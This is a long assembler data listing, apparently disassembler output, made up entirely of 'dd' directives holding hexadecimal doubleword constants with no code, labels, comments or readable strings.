		dd 7627DCDEh, 0AEE9F0A0h, 0DCBE13C0h, 0F41E845Fh, 25419CB8h
		dd 5F274056h, 56930145h, 5888E04h, 0E7109AF3h, 0BFB716E1h
		dd 7510C48Bh, 8FAF4A63h, 0DE011695h, 8B11204h, 478495FCh
		dd 0ACBC13F8h, 4557E59Ch, 6BE9863Eh, 68272CE0h,	9347542Dh
		dd 6BCABB0Ch, 40F3596h,	7792AD5h, 53C27FBEh, 0A600FF7Ch
		dd 52F0A27h, 414DE925h,	0E07E213Ah, 0B3F4EB6Bh,	2E166B49h
		dd 1212D2F9h, 0B2A177BAh, 7644BA90h, 58849B4Dh,	3E750474h
		dd 92002067h, 0E9A98333h, 5C713B2Fh, 0F27852ADh, 0D9023A25h
		dd 4F2106F9h, 38FCC91Ch, 38B576Bh, 0EF3FC95h, 6609CA47h
		dd 0E2C04F0Eh, 60A83433h, 0C007E925h, 0EED0F75Fh, 0D2B6F3h
		dd 0DAF615B2h, 355AF280h, 4146A6A4h, 0F802420Ah, 314AE8F0h
		dd 779576FCh, 35774812h, 17B4FB0Fh, 0FEDE25E1h,	4DE2F954h
		dd 2DAD006Eh, 832C03F8h, 680E580Ch, 0DEE4F451h,	63B10F28h
		dd 6FE9592Fh, 352BAD89h, 324D04DFh, 152F90F3h, 0CD9D85D0h
		dd 0CC731522h, 68C12914h, 2C28C10h, 7565F8BEh, 8009D45Ch
		dd 0A5BB0E3h, 685D12E9h, 5D1D7617h, 0C15DD128h,	300F056Ch
		dd 0E02966C8h, 36E107FFh, 69571E15h, 8E16F658h,	3BB2903h
		dd 0D87537B3h, 8384E9B9h, 7A868CDh, 3FB2A40Fh, 250E358Ah
		dd 487DE04Ah, 1F428F4Ch, 80575130h, 3D720BA0h, 0CF13875Fh
		dd 0D5F90EE9h, 74E6E728h, 0E05F82D5h, 0B5495213h, 70D39A99h
		dd 0BAF82148h, 0E6543716h, 82BB7C0Eh, 8017CC0Ch, 903835A7h
		dd 0B7769D0Ah, 0E7B60820h, 1B0E6200h, 99D609E3h, 0C055652Ah
		dd 23957A01h, 0CD057098h, 41E078DBh, 0E14AFA82h, 96456DB2h
		dd 85026EA5h, 9A0E460Bh, 2CE91244h, 689A286Eh, 0F162C325h
		dd 0F49189D1h, 203055E9h, 679BBF81h, 0F3E5708h,	17FE85B6h
		dd 3ED8E521h, 0CD13D5E8h, 6BE54499h, 220EB31Ch,	23679701h
		dd 0A9F1E90Bh, 0C7BEA4A7h, 2ED5E9AFh, 3B8130D2h, 0F7840FC2h
		dd 6AEEF5F2h, 6CFA6815h, 478F127Ch, 5AD46910h, 8F3BF9D9h
		dd 694B583Fh, 0F043D883h, 408D4FCAh, 0CB4A193Eh, 0D95FF707h
		dd 283647E0h, 5CF70CADh, 730AD290h, 3EBDF31h, 44D89FC7h
		dd 43849997h, 8B87C409h, 1EB902FFh, 40F7DF3Ch, 252E99D5h
		dd 8F74E5Ah, 5909086Bh,	10D1D501h, 400937A8h, 547B6E06h
		dd 0F9BC825Fh, 3FEA8491h, 12079E5Fh, 0B8C8AF0Fh, 0DCA71031h
		dd 29C47772h, 86F50180h, 6807E3C1h, 0D5768508h,	0B8CA816Ch
		dd 80396D78h, 0C810F174h, 4A3DE940h, 0C574AE20h, 2D0B6AEh
		dd 8E3D1EB8h, 868F504Fh, 1E7ABD0Eh, 3AB2BBA1h, 0CDBBF316h
		dd 3D01F054h, 54F6F9Eh,	0EA8ACD7Ch, 429BC4Ah, 5118288Ch
		dd 0C10CD3E3h, 70603EDh, 0F2810280h, 17A9742Ah,	0FB4BE9ACh
		dd 87C2504Bh, 53A4D776h, 1D0B8B0h, 3E2C0EAh, 0F4EDB151h
		dd 0CAB4258Dh, 891DF4E9h, 6990EB19h, 4D3B189Bh,	0E8F10325h
		dd 450EA0Bh, 235C9D0Ch,	0E96FD134h, 4C522E93h, 69FADC24h
		dd 0D24C3C0Ch, 1378DFEAh, 0F74EB0E9h, 0FC3880BAh, 4C6BE6Bh
		dd 1EE9D3Fh, 0DB2BBCD6h, 2F74D072h, 0E7C12F2Ch,	1117CBF8h
		dd 0EB0220F3h, 0E10958C7h, 353428A9h, 46B92F68h, 0D645A2D3h
		dd 6D52FA97h, 25B274DBh, 8055969Ah, 0ED4EA849h,	0D67ABD7Eh
		dd 0FADEF60Eh, 82EBD7A4h, 5769710h, 0D714572Dh,	66CFB103h
		dd 0A66C1868h, 64E92C59h, 1C4CA42Dh, 7CEDC207h,	0D2FDEE28h
		dd 1ADF5CB9h, 0C2CA182Eh, 0D0DA58B6h, 5C39540Fh, 96D5C961h
		dd 254F90D0h, 0E33B2DD8h
		dd 9B568EDAh, 0EE6C109h, 2D4F6134h, 43F80BB2h, 0FF7CB546h
		dd 0CA88CE41h, 57D59AF3h, 0A420FA59h, 0F741429Ah, 7051CF2Dh
		dd 0DC7320D5h, 12F7E90Ch, 1114BA10h, 92593071h,	7EE154A5h
		dd 7EBC292Bh, 0BED31AF3h, 2FE9C5DCh, 837E211Eh,	0D91E05E9h
		dd 0C38A31BEh, 961B8813h, 0E79B2DCFh, 2BA150D9h, 664F3ADh
		dd 719BC005h, 205A8272h, 0EB4A17EEh, 6065A80Fh,	0C9812338h
		dd 0D7121833h, 2C0A0C5Bh, 0E9323405h, 62FDFBE0h, 2DB3F02Eh
		dd 4C571A89h, 0BFB3A128h, 0FE4CADA7h, 640E132Eh, 0C025A582h
		dd 2D4820E8h, 0B4006A83h, 0F48B053Eh, 276879C9h, 0CB185CA7h
		dd 0D72D06F7h, 0C3352405h, 581E0B10h, 67D6ED89h, 68D231C0h
		dd 139C9230h, 0B5F316E9h, 0FFC7B70h, 17FBC550h,	0BF2F3C04h
		dd 0E95D4502h, 5CAC9DEh, 2CD6A83Fh, 7C157F5Ah, 59017849h
		dd 0E953D26Ah, 8178F3E2h, 73B68AA6h, 2F2684EBh,	62D4BAE1h
		dd 20FBB744h, 4C26840Dh, 0DB06FB3Ah, 225DAFC1h,	0C9BD01EAh
		dd 62C5486h, 0DCD1581Fh, 55068BC1h, 508590D5h, 20E0B788h
		dd 5780E7C4h, 6892C48Bh, 8F2194B8h, 9A8C4071h, 37603F1Fh
		dd 696EF0Ah, 0E8D0C617h, 0C0F2FFE9h, 17C0BF57h,	0D8BDC912h
		dd 646C9FF0h, 15014FB2h, 0E95CAC14h, 0CE7A0AB1h, 0FC134B74h
		dd 9336CAFAh, 0ACA50345h, 0C15BBACAh, 0FD7D4CC6h, 0AD106069h
		dd 502D6D10h, 2405A93Dh, 76CD0110h, 37BC5240h, 8E6C106h
		dd 12090CF0h, 3F0C15EAh, 0CD276402h, 0D55EF329h, 20438CE1h
		dd 3A004EA2h, 0CB310772h, 0B4FF8FE9h, 21668389h, 0D0D9708Ah
		dd 0C2D52F4Ah, 0A910FEA6h, 52572F39h, 0EFC1121Ah, 16BD0906h
		dd 0BFDF4575h, 0A1FE818h, 0B20AF480h, 2C58E530h, 65D1A62h
		dd 880AA450h, 911E3506h, 9C4F053Fh, 0ABAB219h, 4FE60BEFh
		dd 0A8B983A5h, 0FAC1CB94h, 0A56AFD09h, 12DABF44h, 5048313h
		dd 22BB8A89h, 0E355D058h, 50E012Ah, 12990784h, 0FCF62E01h
		dd 41864C50h, 21FF2F35h, 81D80CC6h, 6918ED6Fh, 0B320304Eh
		dd 3B7A41AFh, 457D39FEh, 10AAB7FEh, 0D32DD86Dh,	0FED7D522h
		dd 2233A702h, 0BD000498h, 65F30CC8h, 0E2768405h, 0A301D3BBh
		dd 7EF72E32h, 3CF4D131h, 0E91A09E3h, 68DE9424h,	0D92D5765h
		dd 6AA6CD7Ah, 1656DAF0h, 0E823D2E9h, 0ACBFA4E0h, 4E98AC9Ch
		dd 0DEBEA964h, 0A36087C9h, 1E05E8FFh, 742D0806h, 0F4CE5003h
		dd 0EA6D9A17h, 0B940ABCEh, 0F3075B49h, 0E02F2D20h, 5D1F635h
		dd 5206E1C0h, 0EDEE850h, 0A9E9D088h, 92C575D5h,	0BA4613BFh
		dd 7D650EA4h, 0F92E4E59h, 0F9D12C8h, 682531AFh,	0D9DEFEE5h
		dd 5DE95A50h, 0A84B2622h, 8D3D703Ah, 0C2E6A63Ch, 75E1BE81h
		dd 20803F17h, 0FBB05E3h, 1513F581h, 0FFA1ED31h,	910AA2Bh
		dd 97EA4AE2h, 585DC915h, 0BDE97621h, 167D728Bh,	4FD52B5Bh
		dd 5058249Ch, 6CEFA1E9h, 0DBB293FFh, 1DAFE96h, 0FB69E909h
		dd 360A5A52h, 0BF54672Dh, 28CCC413h, 0BC175E01h, 0FAADE5FFh
		dd 4914771Bh, 56E0CBB3h, 31F9297Dh, 5D080290h, 6A25A8E4h
		dd 698256F5h, 5B23EB00h, 0D9FE66C2h, 0B0D872BFh, 3695971Dh
		dd 0BF404F3Eh, 55C72558h, 0E95B13B0h, 0EA0185BDh, 6F6C427Dh
		dd 0DD28A400h, 6CF5805Bh, 0E449ECB8h, 161216E0h, 7AB3B430h
		dd 0BDD85B28h, 2BF6C488h, 53923FB8h, 0A311FEAEh, 0B1C85A0Bh
		dd 0C9F54B9h, 0E1B50F51h, 80C0E5C0h, 0EC8857EDh, 0E34A5973h
		dd 0D08887A1h, 6804B0C2h, 64EB2557h, 7B6E3DD4h,	7738591Ah
		dd 0DD690BF1h, 0E98408FBh, 97E89B14h, 9A25B1C9h, 7DABB5Ah
		dd 36E95205h, 1157F3AAh, 5D1545A7h, 327D5932h, 591A559Fh
		dd 44F9FE80h, 0B3F821CBh, 1DE8F141h, 23452476h,	6FC4024Dh
		dd 5E550D5Bh, 0BAF625C3h, 2CDF677Ah, 667B8142h,	8B3E55h
		dd 0B4F267E9h, 0C7CD1480h, 2C018175h, 0B30C10DFh, 1CF9EC5Eh
		dd 0D9E4615h, 0F357E4Fh, 2622222Dh, 0A4D26049h,	6B911643h
		dd 1F968021h, 85497CFEh, 8E35C4B4h, 0D4C0AEECh,	684A066Dh
		dd 0E444945Fh, 9A14ECDBh, 0A9F7D504h, 0D8C0AEB8h, 2D0EDE05h
		dd 2C7C071Ch, 5D260720h, 2910EB50h, 0E897E84Ch,	0A901D691h
		dd 20A4995h, 0F6320C81h, 785740B9h, 0E5ED7B0Fh,	0BBE23A79h
		dd 0AB2202D3h, 27D6CF57h, 454B7C02h, 0D27BE816h, 516C2533h
		dd 36CCE457h, 848A98B3h, 4C89F302h, 402156C8h, 27612D60h
		dd 0EBF42B86h, 84DD5813h, 0CD40DF38h, 0E095A930h, 45B05A60h
		dd 0A1465149h, 6203BD9h, 0B7E49642h, 0D86A4D0Eh, 0C4DF4B29h
		dd 2517053Ah, 0ECBE30E9h, 3EB8515h, 0AF847680h,	14F44A5Bh
		dd 6C044809h, 0C064945Fh, 5A1367ECh, 69B13B4Fh,	2FB34660h
		dd 6D406249h, 0D2721E6h, 55B28112h, 0B2B23E9h, 48D452A8h
		dd 6D0ED85Bh, 5D89031h,	0EA3E5F73h, 4A368155h, 1BE92FDFh
		dd 0FB3DA0D9h, 700455C3h, 79D51FFDh, 8DFA4BB1h,	14051C08h
		dd 57C54DE2h, 0C1C4E4FAh, 0E7411F1Bh, 0F5F29AF1h, 3320D9F2h
		dd 8CD12A34h, 8EE107B3h, 0B561F610h, 3ECDEAD7h,	0E74A3122h
		dd 0FF4AC6B3h, 4FC3057Dh, 0BB44ABC8h, 40FE2617h, 1B19BE05h
		dd 834C7F53h, 40BA4EFEh, 8836D215h, 0F14431D7h,	122FFBE9h
		dd 0CD9BEB4h, 48441052h, 1283BB7Eh, 0B22A2236h,	1DA04B51h
		dd 29C20B12h, 0F35ED101h, 15D888CDh, 630D583Ch,	4C501D4Eh
		dd 0B9C0D2F9h, 754BFC02h, 75CF317Eh, 0DD7A16F4h, 0BEA06616h
		dd 982655FAh, 0F21C6946h, 898A8F09h, 101B0331h,	43D5983Ah
		dd 0B325CC8h, 7E89672Fh, 7FF8C27Fh, 0F95794A9h,	96E95077h
		dd 0CFE98D5Eh, 8119D2DEh, 0D3315DAFh, 885F86C2h, 0ABCF2675h
		dd 57F72F3h, 506F1FC7h,	0CE80FE2Fh, 392E3147h, 2360ECE9h
		dd 4BD334EBh, 6C90AF5Bh, 286D27C1h, 82B37469h, 290800ACh
		dd 9864E9F1h, 3B559FB9h, 5BE917D0h, 0FD68FE13h,	22D39D59h
		dd 3E08C100h, 0BF016917h, 8823C50h, 6812D16Eh, 0C66278DDh
		dd 4067DE02h, 474E4A43h, 0F7FA870Dh, 0F56008D7h, 57AA8288h
		dd 5CD8140Ah, 1A405F93h, 6D4AD12Ch, 750800F6h, 6E6801D7h
		dd 7C60BE18h, 0F956A36Bh, 306B4FFDh, 0F92A360Bh, 0D4C07F4Eh
		dd 4AE4EA7h, 0E763E941h, 0E760FEFEh, 9F39AD68h,	0FEA50265h
		dd 15DF258Ch, 2AE986C4h, 0BD4AACA0h, 4041DD5Ah,	5452B17h
		dd 5F094052h, 0C6F6E21Ch, 959AD169h, 95933FD6h,	56A8D256h
		dd 0BB13FBB5h, 0C4C9AAFh, 407CBFE9h, 0FC014BB8h, 4A3D413h
		dd 6E831CFBh, 0BDB7E0AEh, 5B78620Fh, 66E5E33Ah,	0B01F9312h
		dd 303C9BEDh, 100C6BF3h, 4312A94Eh, 8BE852E9h, 0FF2C8B12h
		dd 49D54AE3h, 5105D294h, 0AE4C7263h, 3F29DE12h,	0E40B0DBFh
		dd 5618FED0h, 0DC95A579h, 9DEC7C3h, 2D340C22h, 9F12D26Ch
		dd 0DA28FEE2h, 9D55DEBAh, 62F1CAB4h, 0CC981ADh,	70132E48h
		dd 0EFA905D8h, 1D5A7AEDh, 0A529DE0Ch, 5F959214h, 0F1B7791Eh
		dd 0E95182FEh, 7A4BC0BBh, 4C9C0F9Ch, 76689570h,	609EB4C5h
		dd 9A80484h, 0E542E90Bh, 4A9CCFEh, 4568D6F7h, 1530AA63h
		dd 59F2469Ah, 0B740A20Ch, 0F35F0715h, 6C6CE912h, 5909BF2Ch
		dd 821D707Ch, 0E19EE649h, 0D32001E8h, 0A230B2C9h, 36457729h
		dd 0C5453980h, 5EE2C130h, 1EF09106h, 29987E64h,	6A0DE576h
		dd 0B6C4BEACh, 4091906Eh, 7348BF66h, 3EF25FA5h,	62681576h
		dd 0E9136C13h, 75F2BBAEh, 9502B048h, 29467761h,	8EF887Dh
		dd 0A0338B18h, 79EAB6C9h, 2FDA2B52h, 0A897CC5Dh, 184B12D9h
		dd 0E8405183h, 78813B7Eh
		dd 8E5C14E6h, 4E3CC522h, 0B2FCE9Dh, 0D5CB246Ch,	98ECA898h
		dd 3E9C80Bh, 6C1A75E4h,	0D4AD2FF3h, 5FE59C8h, 0CF5D1304h
		dd 59DDBE01h, 27BAC47Bh, 0E984A638h, 0B08856B0h, 0EE041BB0h
		dd 276758h, 2DA82170h, 0BDE327E9h, 0F190D24Eh, 182C6FF4h
		dd 283C2722h, 0C1B708C1h, 0B077B97h, 0F4274276h, 0B62085Eh
		dd 0C5205D2Ch, 68B4489Dh, 5DBACB3h, 934E37BBh, 33D00E4Dh
		dd 0BE5E5AC5h, 5A08C950h, 0E9C263E8h, 99F15FF8h, 45042324h
		dd 0EFF03929h, 805EC10Eh, 0E550F0E5h, 0A7903F17h, 9C8F281h
		dd 175095Ch, 0B921A077h, 958579C7h, 9D55C340h, 0CE5C379Ah
		dd 0CA871682h, 0FED345FCh, 8460EA8Bh, 32E42C13h, 0CEFDE90Bh
		dd 12B5E4FEh, 0F46D1D68h, 3BB76404h, 90A48572h,	411F4BDAh
		dd 5F2BE349h, 0B8C53FE1h, 22F521FAh, 0EB9007B9h, 49846802h
		dd 4281BF1Ah, 0CA4B5640h, 8B3B38E3h, 29BC1753h,	24090C9h
		dd 18A94273h, 0B77BE7Fh, 5B6BDE29h, 0C556C83Bh,	0F5D01E57h
		dd 0DC4C6D1Bh, 122F3538h, 8EBB0530h, 9ED4BADh, 88D4021Ah
		dd 47F6C6C0h, 0D9C95916h, 8A60EDE8h, 4A443EE4h,	5B4BD490h
		dd 0B41E1E9h, 0FAD7C478h, 3E69F9DBh, 0D022A2D5h, 0EEC5D19h
		dd 86D2CD71h, 0FB10D9B8h, 1EF55BF3h, 31BEF52Eh,	0CAF42EDFh
		dd 0A1F75EE9h, 9D2A6F57h, 4E68A463h, 524E42B5h,	5657EA88h
		dd 0EEFE1687h, 76F06B0Fh, 0B424AF14h, 70F58E8Ch, 34759740h
		dd 1F66BF5Ah, 0FD30E917h, 90E25741h, 0B641B158h, 29F8A9EAh
		dd 0C73EDE22h, 852F510Fh, 2376C4D3h, 68895A08h,	91CCFEA4h
		dd 7DC4DC4Ah, 0C57BF3FFh, 48EB6B59h, 5C05DFC9h,	24EFF181h
		dd 3A5F8D22h, 0E9592801h, 0C26CB3B9h, 3AFAA2DCh, 7FB8899Fh
		dd 0EC6362F1h, 0BEE660CCh, 3BDA7273h, 3265E0CDh, 0EB13802Ah
		dd 0FBA29962h, 1A444440h, 30805980h, 0BD06FDC3h, 0EBF0D328h
		dd 0B61652EAh, 0BD0B66C5h, 776C29D2h, 5A4B4AD0h, 621FDFBAh
		dd 7775B438h, 4761DB3Ah, 0B9E22B97h, 828CB297h,	0C5430568h
		dd 0B6589732h, 36C8C617h, 8BB5905Eh, 6D0388Ah, 1383C326h
		dd 3C32AF4Eh, 5C6810C7h, 6130354Ah, 19D674FAh, 4D5F723h
		dd 645FD2E9h, 4C260751h, 0F4318CB2h, 0A691FB5Ah, 23AF9916h
		dd 54B4276h, 98A40E8Bh,	0FC274E2Bh, 0F8F01018h,	8A6E5C25h
		dd 89DFBB5h, 0D1164051h, 0CF363C0h, 2C4A7D7Ch, 494B080Eh
		dd 6E471F82h, 8EDDA8C2h, 0F4DEA90Ah, 48F6813Eh,	706DF8E3h
		dd 38BA019Ah, 0C83BBA1Dh, 5ED6290Bh, 87E54386h,	2B092050h
		dd 0A4829FA2h, 0C1CA864Bh, 0A6275C77h, 0C815200h, 0C42BDEF2h
		dd 0D70B0902h, 513525E9h, 0EA3F4252h, 35D00Ch, 1C49014h
		dd 0CB6859CDh, 80E50C5Dh, 2E982AFCh, 15BB30E9h,	1CB7C737h
		dd 3A433E26h, 0FD185202h, 7A51608Fh, 28EA0978h,	5F88FE01h
		dd 0A65F1208h, 0C25A2524h, 98BF77Fh, 4E9704D0h,	0FB68FA7Ah
		dd 7F972AEh, 0ECDE781Ah, 6B13AF80h, 9813613Ah, 0CF7E9BB1h
		dd 4D495B9Ah, 782262A1h, 0F918F012h, 0EBD8357Fh, 162EB9A1h
		dd 4FCAEEDDh, 97B9552Ah, 0D556B2DDh, 6F34DCF9h,	0C241B2EFh
		dd 76514768h, 0F0B265CDh, 1F18BF2Ch, 0BD64F102h, 0C65C1729h
		dd 273D016Ch, 40560E32h, 7C1CF880h, 5101023Bh, 5D080082h
		dd 4761D7F7h, 0A92C2314h, 0BF52173Eh, 8FC15D85h, 0DF491396h
		dd 0C73CA52Eh, 41DFF4E1h, 0C8D888C5h, 5B5658C5h, 0E2E90BA6h
		dd 7F6C9A3Eh, 0C5A7E845h, 0FA602D4Dh, 1E282C0Ch, 0E30A9D70h
		dd 0F74B1921h, 35C2E507h, 8B821B25h, 1C50FF01h,	0E1B22F04h
		dd 0A1138984h, 22BF3AD9h, 11FF5C27h, 8E20DC73h,	0EF06CECEh
		dd 990ECB09h, 0F9CB06BAh, 9EC71A2Eh, 0F09D112Ah, 6AF39085h
		dd 3C42F2E6h, 5480F2FFh, 0BE38E70h, 0A7C11C0h, 69B4897Dh
		dd 0EF7D184h, 0A66C50D2h, 4120EF56h, 0F0EDF280h, 0EDC14B1Fh
		dd 61899EDBh, 0EA3DA2C5h, 0FD9A5Ch, 944DA1F3h, 0CD81021Fh
		dd 73D919F8h, 46C2828Eh, 571232CCh, 93406340h, 3CEA3C0h
		dd 9049385Fh, 2596FEA9h, 6DE1E36Fh, 0A8B33089h,	6577DE62h
		dd 51F71A1Bh, 2FD2653h,	64E9CF31h, 5F2FB776h, 0E883DC98h
		dd 0FAF3024Fh, 9CD1E90Bh, 0D38BACF1h, 6D9C7D49h, 2F2464B0h
		dd 58691B8Bh, 6656B7CFh, 5FEC1450h, 90EA4FEh, 0DBAC205Fh
		dd 0E81984B4h, 0CC5F2FE4h, 3C549541h, 0FEC92985h, 0A63ADFE5h
		dd 13680CA5h, 0BD114B53h, 97C1DBA0h, 4F76E60Dh,	6C71C905h
		dd 0F4FB0775h, 7318F35Ch, 720C0109h, 0D4F62FB0h, 0EA894D7Eh
		dd 6FC77704h, 0A1599C27h, 166EC3B7h, 5329AA0Dh,	878AB86Ah
		dd 7D090642h, 0BB30E7CCh, 63CEB9F2h, 950B7E53h,	0DC1AC3D4h
		dd 4AC528FAh, 0A556575Ah, 0FEC89362h, 0AE2C9742h, 0E0D31127h
		dd 0C3670090h, 1A7F1961h, 8790FB01h, 0FF5F0881h, 6ED502FAh
		dd 0BDE90B31h, 147FFEEAh, 0CAB53ED7h, 4EF68F5Fh, 9E85A8A3h
		dd 1248D849h, 374F0762h, 732B5730h, 0F438AE0h, 72B20282h
		dd 206C0F44h, 0FEB72DE7h, 0D9B43F32h, 7F44BB1Fh, 5902A225h
		dd 0C1A9F189h, 0B8D3A65Fh, 244E942Dh, 1257A742h, 6E6FDEABh
		dd 47A836D7h, 0F84ADEB5h, 4707BB53h, 0E978BF75h, 44EE1775h
		dd 1211AD6Fh, 0DF7EADA5h, 9F546B4h, 900C3EE9h, 276C1468h
		dd 485F3B80h, 16EFEE92h, 0AE3105F0h, 0E91260CAh, 0BBE2B03Dh
		dd 362BFCE1h, 9DD259F4h, 1A964604h, 3E8BEE12h, 45E7E90Ch
		dd 0FC97EF7Fh, 4BDF9F8Ah, 4D5D6D12h, 0CC2225FCh, 6674692Ah
		dd 722D8A80h, 1F38126h,	3D061DF4h, 6B4D6CE9h, 0E6EF2C22h
		dd 9F4A9D08h, 8C38FC77h, 0EA777E0Dh, 901F840Bh,	44888010h
		dd 0A0291B54h, 248D38Ah, 0E9462F60h, 0CF901074h, 0F0973F6Ch
		dd 0F8CB0746h, 8232067Ch, 0B1687FA5h, 0D2833DC8h, 80414899h
		dd 524316F5h, 0C64900B6h, 3BB151F9h, 5970CEE0h,	9EA241FFh
		dd 93A96F8Bh, 454CE3C6h, 5F10C362h, 8AA26EC9h, 56B868D8h
		dd 0C3559E9h, 0CC08B11Dh, 0C00E5C6Fh, 0F604ED0Ch, 0FAE48ED5h
		dd 0A8EB4A66h, 5DEFA0C7h, 5B343868h, 0A8CBAE4Bh, 5D46005Bh
		dd 0E96F7926h, 68391525h, 1349F989h, 0BB096E12h, 40891D0Bh
		dd 0BCD929F5h, 4128015Bh, 7B316AFAh, 8682D899h,	134B09FDh
		dd 0E905E0D4h, 50C9BE7Ch, 7A97A52Fh, 0C020D48Fh, 0DD82967Ch
		dd 0FB5F9B6Ah, 3BE768BAh, 8CC9F989h, 0E90B3A59h, 0F780229Bh
		dd 0E7C77D9h, 0CA96885h, 0B5AEED44h, 73CA3107h,	0E4F10ABh
		dd 4825E9B8h, 0FA6E6409h, 3396C6C5h, 5001D785h,	3071401Dh
		dd 1A1C7AB4h, 14051C08h, 705AB95Bh, 387D66Fh, 0F47DC20Ah
		dd 1CA61CC0h, 0C4360E8h, 464D7B5Ch, 841A8B7h, 140B0C34h
		dd 0F76F825Bh, 0C7BE0051h, 15072F28h, 535EF309h, 5C0985E7h
		dd 6852607Eh, 679F07C5h, 10952C63h, 6AF84B58h, 0ACE0D55Eh
		dd 685FC1C9h, 9E515466h, 0E804B9F8h, 0CF350109h, 1103C16h
		dd 7D17902Fh, 5C093204h, 0C0C6A0E9h, 2446F719h,	64CF828h
		dd 5DBB04F0h, 9BC4F0BFh, 0B1680424h, 17AAA37Bh,	0EC8E3AC5h
		dd 1BEC0125h, 64D97695h, 0A1CDBB49h, 0CB7270E0h, 8860E6BBh
		dd 0E10B2DBFh, 0F6F28985h, 68F75AC3h, 2555C5FFh, 5C5E3250h
		dd 9240F5A5h, 91BE62E9h, 381EF725h, 0C389719Ch,	0C22C1BC4h
		dd 2C1C5E09h, 8F101FBh,	2B982F56h, 27BFA7B4h, 1675FEE1h
		dd 0DE3B2DA4h, 5CF1A17Ch, 53251F66h, 7CCBC87Eh,	9CB409E3h
		dd 9EA1DD94h, 0A1E23B16h, 0EDDB8F85h, 0DA5E4A7Ch, 0AEC473D3h
		dd 53A61FBAh, 458C0E17h
		dd 2C19F1C0h, 9834E90Bh, 24B93AF5h, 0B2D86913h,	0C0680A6Ah
		dd 5463F659h, 622FD15Ah, 2D482373h, 0E5014505h,	0C5F5C544h
		dd 0AC29FAF5h, 0C5579C02h, 4ACFE8A8h, 0FEC30967h, 68D8C898h
		dd 0F0B9035Eh, 20326B82h, 42F69AC0h, 32AA2DBEh,	8141D860h
		dd 4C1CE4E7h, 3C10DBC8h, 1AAC3BBBh, 5D22D67Bh, 2E39F4E0h
		dd 1B72A097h, 0F62DC123h, 0EC104AF2h, 1E3A1FCh,	3BC82D03h
		dd 5010F10h, 12062723h,	8FF2C829h, 2F119407h, 50F5C59h
		dd 0EC389D68h, 644DC82h, 0C4B866EEh, 5EF8986Eh,	651368BFh
		dd 0D912762Dh, 0A2C145A0h, 5BDEC0FFh, 2E0A739Bh, 1EA8CB89h
		dd 0D2277FDFh, 27B3B508h, 92E69575h, 5C0718E9h,	7A5DB768h
		dd 36D6DFA1h, 0E71CFA8Bh, 15772F70h, 4C688BA2h,	19C12A62h
		dd 368E6F12h, 8716C558h, 3968A27Ch, 0C88ABAECh,	0F34ED1h
		dd 8C505A1Eh, 0B02D9B81h, 0F086CF06h, 1A09D6F6h, 5937E9D8h
		dd 6E7A5380h, 290B0FE3h, 3C15DE8h, 0D92D3571h, 98350661h
		dd 48802885h, 0CD80C3AAh, 3E532CC1h, 41E40AB0h,	0F3C9F1A9h
		dd 404B3CE9h, 0C37E9BC2h, 27E9750Ch, 4E242261h,	5382BF3Eh
		dd 4C4AE1C8h, 0E42F7FFDh, 7495C329h, 660E5068h,	0FA09F782h
		dd 894CD35Fh, 816DC283h, 558B6E27h, 0D23BB2B0h,	0CCF78284h
		dd 8A4B58h, 3681BF1Ch, 8FB55A0Dh, 0DAA9ABEBh, 51C203D8h
		dd 5B01082Fh, 0B9CA4950h, 49B31B49h, 0DBB73F96h, 5705B0C2h
		dd 7CB76E1Eh, 6AB90085h, 2143DA55h, 69A1F19Fh, 0F0769F82h
		dd 2816F3D2h, 0E900320Eh, 0A61CB6EEh, 2EF9B423h, 28CD0B7Dh
		dd 0D5AF4479h, 44815DB0h, 272B9E80h, 6CDD3859h,	760C82E7h
		dd 64C116F3h, 0D4D7C775h, 0D84BB80Dh, 62E46860h, 255D956h
		dd 0C0ACAA5Ch, 0CE772B00h, 485F6846h, 41D3A374h, 0E2C15A72h
		dd 24392A02h, 82F86E60h, 44B852C0h, 0D10B641Dh,	496579Eh
		dd 0DCE78F80h, 6D9C3133h, 0C83292E8h, 0B8005070h, 62BE3546h
		dd 3A61D72Dh, 0FF36CC1h, 0E9A83169h, 55DEC5C9h,	8F65BE40h
		dd 0D48451BCh, 0EEF90149h, 41F2C120h, 291B30FEh, 0DA60D890h
		dd 2C4EA99h, 0B8065E4Bh, 0B1FD5E03h, 964A2CA6h,	5216B0ACh
		dd 2C4C18E9h, 0B7A0F928h, 91C5B806h, 92AB2DE8h,	0C9D505C8h
		dd 45205DD2h, 1C2B1EAh,	0A418E3C1h, 0AB136BB7h,	0D58CC1FFh
		dd 0F5926047h, 48840817h, 503F83C2h, 0DDF72C26h, 507410C9h
		dd 3065025Fh, 0A809FA79h, 1F5166C2h, 0A60A6A3Eh, 0F7483BB0h
		dd 18C4198Fh, 1135AA75h, 97700B87h, 9F09B73Dh, 0DCE5105Fh
		dd 73C3123h, 0F9DB1F0Ch, 5D2870F6h, 0BE9C65B7h,	0AFCA9492h
		dd 913EEAD9h, 0A65585h,	5985685Bh, 409E7C56h, 0E9634069h
		dd 199F93EDh, 953B7ED5h, 3F04AFAFh, 0DDAEA147h,	0B929ECF8h
		dd 13C744B7h, 0E6CCE80h, 5D71156h, 0B916E93Ah, 7EEE1ED3h
		dd 0D4256C49h, 1408A0FFh, 0E5700AE9h, 5C805D89h, 3CBA68DEh
		dd 71E9415Ah, 0FA121673h, 58BE097Fh, 28041E77h,	2D778C08h
		dd 0D0FC5CD0h, 709809C9h, 1148BDB5h, 0E925CD01h, 58DA85E2h
		dd 5C8A758Bh, 0B66861BEh, 35335701h, 0E2B82E1h,	0BE01DA7Ch
		dd 3C3251EAh, 0F4CE028h, 0F93AD704h, 0B84FB41h,	0E915BEA8h
		dd 0A94BA670h, 44139FB0h, 0FA2852BDh, 5BA4AAC4h, 0F2F32D09h
		dd 0DC37150Bh, 0DCC56F96h, 5624AFFEh, 0D744D8FBh, 0AD3D5482h
		dd 6831307Fh, 0F9470130h, 4F6CE931h, 0DFCD72FFh, 1AADB57Ch
		dd 59D2791Eh, 1927CCF3h, 517B7CCCh, 3B3FA631h, 55ACBDEEh
		dd 673883Ch, 5F5C801Fh,	6909A92Eh, 7C5FF9Dh, 5874CE2Dh
		dd 8172E754h, 0B9816B5Ah, 1E140A83h, 0D06F45DDh, 0CC10FA22h
		dd 26E90907h, 6FC47D58h, 0E3A0C178h, 0E59F8E41h, 3D20386Fh
		dd 0CCFD219Ah, 0CB257384h, 7B805D17h, 8E00F1Ch,	0A98A2BFh
		dd 0A7615E0Dh, 9D9096DDh, 0B894DB74h, 4C3C9EDh,	0F6FA36E0h
		dd 5705CB59h, 108901E2h, 20555B29h, 0B8112DD2h,	985E680Bh
